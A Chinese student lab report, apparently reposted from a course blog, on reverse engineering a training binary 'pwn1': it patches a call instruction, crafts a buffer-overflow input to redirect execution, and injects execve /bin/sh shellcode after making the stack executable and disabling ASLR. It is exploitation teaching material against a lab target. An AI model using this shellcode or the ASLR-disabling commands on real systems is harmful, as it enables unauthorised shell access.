1. 程式人生 > >20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解

20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解

ace exe 進入 pro cnblogs 通過 構造 網絡 more

20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解

實驗內容

  1. 直接修改程序機器指令,改變程序執行流程;
  2. 通過構造輸入參數,造成BOF攻擊,改變程序執行流;
  3. 註入Shellcode並執行。

實驗步驟

一:
  • 下載目標文件pwn1,反匯編
    利用

    objdump -d pwn1

    對pwn1進行反匯編;

  • vi pwn1打開pwn1;
  • 利用%!xxd將文件轉換成16進制顯示,利用/e8 d7ff ffff進行搜索將d7改為c3(計算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff),利用%!xxd -r轉回之前,再次進行反匯編;
    技術分享圖片

技術分享圖片

二:
  • 編輯輸入為

    perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input

    ,可用xxd input查看input,隨後運行pwn1;

技術分享圖片

技術分享圖片

三:
  • 輸入下面的指令
execstack -s pwn1    //設置堆棧可執行
execstack -q pwn1    //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space
  • 構造輸入
perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
  • 輸入(cat input_shellcode;cat) | ./pwn1,運行pwn1,然後打開頂一個終端,輸入ps -ef | grep pwn1找到pwn1的進程號
  • 輸入gdb,進入gdb調試,輸入進程號
  • 然後輸入info r,查看棧的地址
  • 使用x/16x 0xffffd33c
    查看其存放內容
  • 由我們構造的input_shellcode可知,shellcode就在其後,修改為這個地址;
  • 輸入
  • perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"‘ > input_shellcode
    重新構造input

技術分享圖片
技術分享圖片

20155231 邵煜楠《網絡對抗技術》實驗一 PC平臺逆向破解